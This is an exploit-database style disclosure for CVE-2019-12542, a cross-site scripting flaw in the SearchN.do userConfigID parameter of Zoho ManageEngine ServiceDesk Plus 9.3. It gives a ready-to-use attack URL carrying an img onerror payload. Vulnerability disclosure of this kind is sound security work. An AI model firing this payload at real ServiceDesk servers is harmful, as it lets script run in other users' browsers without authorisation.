Zoho ManageEngine ServiceDesk Plus 9.3 - 'SearchN.do' Cross-Site Scripting

# Exploit Title: Zoho ManageEngine ServiceDesk Plus 9.3 Cross-Site Scripting via SearchN.do
# Date: 2019-06-04
# Exploit Author: Tarantula Team - VinCSS (a member of Vingroup)
# Vendor Homepage: https://www.manageengine.com/products/service-desk
# Version: Zoho ManageEngine ServiceDesk Plus 9.3
# CVE : CVE-2019-12542


An issue was discovered in Zoho ManageEngine ServiceDesk Plus 9.3. There is XSS via the SearchN.do userConfigID parameter.


Attack vector: domain/SearchN.do?searchText=a&SELECTEDSITEID=1&SELECTEDSITENAME=&configID=0&SELECTSITE=qc_siteID&submitbutton=Go&userConfigID=21111111ucgol"><img src%3da onerror%3dalert('XSS')>qzmm3u7id8z&selectName=Site

PoC: https://drive.google.com/file/d/1aJN6GudSd7WWckXWxA5nelM48Xib9eS9/view